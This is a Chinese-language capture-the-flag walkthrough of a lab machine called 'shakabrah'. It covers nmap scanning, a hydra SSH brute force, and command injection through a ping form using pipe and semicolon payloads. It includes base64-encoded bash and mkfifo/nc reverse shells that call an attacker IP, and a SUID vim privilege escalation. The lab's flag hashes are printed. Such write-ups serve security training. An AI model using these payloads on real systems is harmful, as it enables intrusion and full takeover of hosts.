getwebshell
: 发现ping
功能点 → 命令执行 → bash
反弹shell
提 权 思 路
: suid
文件发现 → vim
提权
192.168.45.188
192.168.178.86
sudo nmap --min-rate 10000 -p- 192.168.178.86
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.178.86
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu)
80/tcp open http Apache httpd 2.4.29
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu)
# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.6p1
发现搜索到可利用的和用户枚举有关(待定)
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root<span class="label label-primary">@192.168.178.86</span> -v
显示publickey
、password
就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root<span class="label label-primary">@192.168.178.86</span> -p 22
# 密码尝试
password > root
弱密码尝试失败
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.86 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
访问 http://192.168.178.86:80
不是CMS
我们直接从HTML
隐藏信息收集开始
# 包括文章中是否写明一些敏感信息
┌──(root㉿Kali)-[~/.ssh]
└─# curl http://192.168.178.86/
<h2>Connection Tester</h2>
Ping:
没有隐藏信息,从标题可以得出这是一个ping
命令的连接测试功能
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.178.86:80 -x 302,403,404
dirb http://192.168.178.86:80
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
/index.php
与/index.php/login/
就是首页
通常在ping
命令可以利用|
拼接命令进行执行
127.0.0.1|ls
发现了index.php
文件,命令执行成功
127.0.0.1 | bash -i >& /dev/tcp/192.168.45.188/5666 0>&1
监听5666端口发现没有成功反弹
翻阅了一下index.php
的源码
127.0.0.1|cat index.php
127.0.0.1|cat ../../../etc/passwd
127.0.0.1| cat /home/dylan/local.txt
88b3b51f62350a076178af251056ee65
感觉过滤了一些命令,这时候尝试利用base64
的bash
命令绕过
┌──(root㉿Kali)-[~]
└─# echo -n "bash -i >& /dev/tcp/192.168.45.188/5666 0>&1" | base64
# 获取bash的base64版本
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE4OC81NjY2IDA+JjE=
# 使用payload
127.0.0.1|echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE4OC81NjY2IDA+JjE=" | base64 -d | bash
监听5666端口发现没有成功反弹,但是存在转圈
通常在ping
命令可以利用|
拼接命令进行执行 尝试了一下用;
;ls
发现命令执行成功
# 通过管道将 /tmp/f 中的内容传递给了 `/bin/sh`,所以这将使得远程主机上的Shell与本地主机上的Netcat连接在一起
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.188 80 >/tmp/f
弹了2个版本,发现小端口是可以弹成功的,但是大端口弹不成功
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell -> python失败使用python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.5 LTS
Release: 18.04
Codename: bionic
发行版本为Ubuntu 18.04.5
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ uname -a
Linux shakabrah 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.15.0
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ sudo -l
sudo -l
[sudo] password for www-data:
发现需要密码
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ find / -perm -4000 2> /dev/null
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/fusermount
...
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/vim.basic
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
看到了一个vim.basic
,vim
是可以进行提权的
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo install -m =xs $(which vim) .
./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
发现一堆乱码,提权失败,思考是否需要修改命令
将sh
修改成了bash
,因为用的py3
,也修改了一下
vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
提权成功
cat /root/proof.txt
a74064fc768f4e9869b885d35892e0b6
完结撒花~
在利用bash
反弹的时候挺神奇的,用1000内的端口能弹,超过1000不能弹,下次应该多试试不同的端口进行反弹shell